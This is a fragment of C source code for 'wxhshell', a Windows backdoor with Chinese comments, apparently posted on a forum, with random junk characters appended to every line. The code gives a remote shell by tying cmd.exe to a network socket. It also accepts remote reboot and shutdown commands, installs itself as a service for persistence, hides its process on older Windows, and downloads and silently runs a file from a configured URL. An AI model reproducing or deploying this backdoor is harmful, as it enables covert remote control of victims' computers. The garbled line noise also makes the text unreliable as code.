Jn{OWw2  
    switch(cmd[0]) { .C8PitS  
  sCR67/  
  // 帮助 =c/wplv*  
  case '?': { }ZYv~E'  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); fQ#l3@in  
    break; Z ?wU  
  } $STaQ28C  
  // 安装 1P~X8=9h  
  case 'i': { h }B% /U  
    if(Install()) >}+/{(K"E|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MyT q  
    else g !rQ4#4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .Fdgb4>BXX  
    break; N[s}qmPha  
    } -$\+' \  
  // 卸载 F(tx)V ~T3  
  case 'r': { -r-k_6QP  
    if(Uninstall()) ^J$2?!~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R8ZK]5{o  
    else spt6]"Ni  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KXx32 b,~  
    break; e" St_z(  
    } vQ;Ex  
  // 显示 wxhshell 所在路径 9I6a"PGDb  
  case 'p': { H Z'_r cv  
    char svExeFile[MAX_PATH]; 9I&xfvD,  
    strcpy(svExeFile,"\n\r"); zd @m~V  
      strcat(svExeFile,ExeFile); 19w*!FGX  
        send(wsh,svExeFile,strlen(svExeFile),0); 7Zlw^'q$:L  
    break; wK?vPS  
    } Tj:B!>>  
  // 重启 |S_eDjF  
  case 'b': { Mu+0<>   
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~_/(t'9  
    if(Boot(REBOOT)) Qk:Y2mL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8fl`r~bqZ  
    else { ZrsBm_Rx  
    closesocket(wsh); /;oX)]W  
    ExitThread(0); gt@m?w(  
    } kqFP)!37  
    break; >m$1Xx4#GV  
    } jPUwSIP  
  // 关机 |5lk9<z  
  case 'd': { be.*#[  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); E=nIRG|g  
    if(Boot(SHUTDOWN)) vSEuk}pk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &L=suDe  
    else { E7rDa1  
    closesocket(wsh); 4 o Fel.o  
    ExitThread(0); <0Xf9a8>  
    } \W~ N  
    break; =vX/{C  
    } sB7# ~p A  
  // 获取shell Zy`m!]G]80  
  case 's': { h2G$@8t}I  
    CmdShell(wsh); Q+[n91ey**  
    closesocket(wsh); :tV*7S=)  
    ExitThread(0); 4K\G16'$v  
    break; 8Vr%n2M  
  } AE[b},-[  
  // 退出 fdFo#P  
  case 'x': {  y3@H/U{  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); s~^5kgPA  
    CloseIt(wsh); F1*>y  
    break; ItNz}4o|d  
    } dYJ(!V&  
  // 离开 y [}.yyye  
  case 'q': { Mk"^?%PxT  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); H?yK~bGQ  
    closesocket(wsh); ,Lr. 9I.  
    WSACleanup(); k\5c|Wq|g  
    exit(1); ~%&LTX0s|  
    break; 9jM}~XvV  
        } H\ F :95  
  } >*35C`^  
  } (A9Fhun  
0X6YdW_2X  
  // 提示信息 J')o|5S1N  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); geru=7  
} LBYMCY  
  } m*&]!mM"0G  
o#3ly-ht  
  return; ; ZA~p  
} d,k!qjf=r  
&u$Q4  
// shell模块句柄 E(>=rD/+  
int CmdShell(SOCKET sock) P3x8UR=fS  
{ N G+GEqx  
STARTUPINFO si; 5_GYrR2  
ZeroMemory(&si,sizeof(si)); M\uiq38  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; L/$H"YOv  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; glO^yZs  
PROCESS_INFORMATION ProcessInfo; Ag-(5:  
char cmdline[]="cmd"; , qMzWa  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); fK>L!=Q  
  return 0; 1m4$p2j  
} ~!B\(@GU  
n(1l}TJy  
// 自身启动模式  -*1d!  
int StartFromService(void) f,U.7E  
{ ;17E(tl  
typedef struct )|ju~qbf  
{ P) Jgs  
  DWORD ExitStatus; ` Fa~  
  DWORD PebBaseAddress; kMIcK4.MH  
  DWORD AffinityMask; 8V'~UzK  
  DWORD BasePriority; f\|w '  
  ULONG UniqueProcessId; n@<YI  
  ULONG InheritedFromUniqueProcessId; }|h# \$w  
}   PROCESS_BASIC_INFORMATION; Ua:}Vn&!  
G|bT9f$  
PROCNTQSIP NtQueryInformationProcess; f z'@_4hg  
LBw1g<&  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; g];!&R-  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; p_RsU`[  
>^u2cAi3[  
  HANDLE             hProcess; Snj'y,p[  
  PROCESS_BASIC_INFORMATION pbi; ~[t[y~Hup  
Cjn#00  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); h79}qU  
  if(NULL == hInst ) return 0; yb<fpM  
y8]B:_iU9  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 5AFJC?   
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); is?{MJZ_  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); pC#E_*49  
\"7*{L:  
  if (!NtQueryInformationProcess) return 0; g9 .Q<JwO  
!z\h| wU+  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); j*|VctM  
  if(!hProcess) return 0; =/@D8{pU  
0{5w 6  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; S,88*F(<^q  
tH!]Z4}u  
  CloseHandle(hProcess); (d(CT;  
Amtq"<h9a  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); wW Lj?;bx  
if(hProcess==NULL) return 0; u+9hL4  
k R?qb6  
HMODULE hMod; 1I%w?^sm_  
char procName[255]; /ixp&Z|7  
unsigned long cbNeeded; A7%)~z<  
NDN7[7E  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); nGC/R&  
&h}#HS>l  
  CloseHandle(hProcess); %Hu5K>ZNYp  
VF+KR*  
if(strstr(procName,"services")) return 1; // 以服务启动 Sj3+l7S?  
p?02C# p  
  return 0; // 注册表启动 l[dK[4  
} $zUP?Gq!  
]_)yIi"  
// 主模块 f[]dfLS"W  
int StartWxhshell(LPSTR lpCmdLine) _qF+tm  
{ P9R9(quI  
  SOCKET wsl; v&6-a*<Z  
BOOL val=TRUE; 8'[~2/  
  int port=0; (^ J I%>  
  struct sockaddr_in door; b!+hH Hv:  
ncaT?~u j  
  if(wscfg.ws_autoins) Install(); atj(eg  
u^&^UxCA  
port=atoi(lpCmdLine); y5vvu>nd  
R|'ybW'Y  
if(port<=0) port=wscfg.ws_port; AzPu)  
QFA8N  
  WSADATA data; T~-ycVc  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,<.V7(|t)  
P?%s #I:  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   +5)nk}  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); xw.A #Zb\_  
  door.sin_family = AF_INET; (O\ )_#-D  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); zOJ%}  
  door.sin_port = htons(port); )7hqJa-V  
\<bx [,?  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ."g`3tVK  
closesocket(wsl); &w\{TZ{  
return 1; ::`HQ@^  
} RTYvS5 G  
<3n Mx^  
  if(listen(wsl,2) == INVALID_SOCKET) { )Om*@;r(  
closesocket(wsl); ~-k9%v`  
return 1; rm7ANMB:  
} [z:!j$K  
  Wxhshell(wsl); &0d# Y]D4`  
  WSACleanup(); 9gW|}&-  
e+EQ]<M  
return 0;  8$=n j  
@@f"%2ZR[  
} GC-5X`Sq  
.e#w)K  
// 以NT服务方式启动 x[p|G5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) KR} ?H#%  
{ 9+|$$)  
DWORD   status = 0; KM, \  
  DWORD   specificError = 0xfffffff; }PlRx6r@  
jRa43ck  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ~g91Pr   
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; #<fRE"v:Q  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; p%ki>p )E|  
  serviceStatus.dwWin32ExitCode     = 0; (g]!J_Z"  
  serviceStatus.dwServiceSpecificExitCode = 0; 8\^R~K`sY  
  serviceStatus.dwCheckPoint       = 0; Xg6Jh``  
  serviceStatus.dwWaitHint       = 0; JtE M,tK  
Ov@gh kr  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }CSDV9).S  
  if (hServiceStatusHandle==0) return;  1~gnc|?  
l$KA)xbI  
status = GetLastError(); <)Dj9' _J  
  if (status!=NO_ERROR) FaAC&F@u  
{ MpT8" /.]A  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Q0sI(V#  
    serviceStatus.dwCheckPoint       = 0; hgG9m[?K  
    serviceStatus.dwWaitHint       = 0; : $1?i)  
    serviceStatus.dwWin32ExitCode     = status; 8S TvCH"Z_  
    serviceStatus.dwServiceSpecificExitCode = specificError; 2k~l$p>CN!  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); sI=xl  
    return; AYBns]!  
  } #^0R&) T  
VD*6g%p  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; x8 2cT21b  
  serviceStatus.dwCheckPoint       = 0; ~12EQacOT  
  serviceStatus.dwWaitHint       = 0; 9c bd~mM{  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "Fr.fhh'~  
} ]h`&&Bqt  
LE Nq_@$  
// 处理NT服务事件,比如:启动、停止 bIDj[-CDG  
VOID WINAPI NTServiceHandler(DWORD fdwControl) _;S-x  
{ >NV @R&  
switch(fdwControl) zaIKdI'/e  
{ fUWG*o9  
case SERVICE_CONTROL_STOP: /xBb[44z8  
  serviceStatus.dwWin32ExitCode = 0; h8q[1"a:  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; dlh)gp;  
  serviceStatus.dwCheckPoint   = 0; 6GlJ>r+n  
  serviceStatus.dwWaitHint     = 0; RMV/&85?y  
  { 6yG^p]zZ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); g{)dP!}  
  } ^LnTOdAE  
  return; N{!i=A  
case SERVICE_CONTROL_PAUSE: Evq IcZ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Pbn*_/H  
  break;  \!X8   
case SERVICE_CONTROL_CONTINUE: VBlYvZ;$*  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ) w5SUb  
  break; g}oi!f$|  
case SERVICE_CONTROL_INTERROGATE: C[AqFo  
  break; /U*C\ xMm  
}; J1U/.`Oy  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !?jrf] A@  
} M] %?>G  
KK4`l}Fk:n  
// 标准应用程序主函数 O`kl\K*R7  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3*XNV  
{ }"H,h)T  
|3b^~?S  
// 获取操作系统版本 r|8d 4  
OsIsNt=GetOsVer(); k .;j  
GetModuleFileName(NULL,ExeFile,MAX_PATH); xIW3={b3  
i^&~?2  
  // 从命令行安装 Vm(y7}Aq{  
  if(strpbrk(lpCmdLine,"iI")) Install(); Ml{,  
p`dU2gV  
  // 下载执行文件 2a)xTA#  
if(wscfg.ws_downexe) { s\(k<Ks  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) F,F4nw<W  
  WinExec(wscfg.ws_filenam,SW_HIDE); m 9WDT  
} & ywPuTt  
eKgBy8tNS0  
if(!OsIsNt) { p4rL}Jm&  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;`4&Rm9n?  
HideProc(); >2)OiQ`zg  
StartWxhshell(lpCmdLine); UgSB>V<?  
} Xl{P8L  
else 2wg5#i  
  if(StartFromService()) |A~jsz6pI  
  // 以服务方式启动 I_#kgp  
  StartServiceCtrlDispatcher(DispatchTable); ^/>(6>S^M  
else x+:UN'"r  
  // 普通方式启动 mDABH@ R  
  StartWxhshell(lpCmdLine); {4}yKjW%z  
n,(sBOQ  
return 0; =ho}oL,ZO  
}
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只看该作者 1 发表于: 2006-10-10
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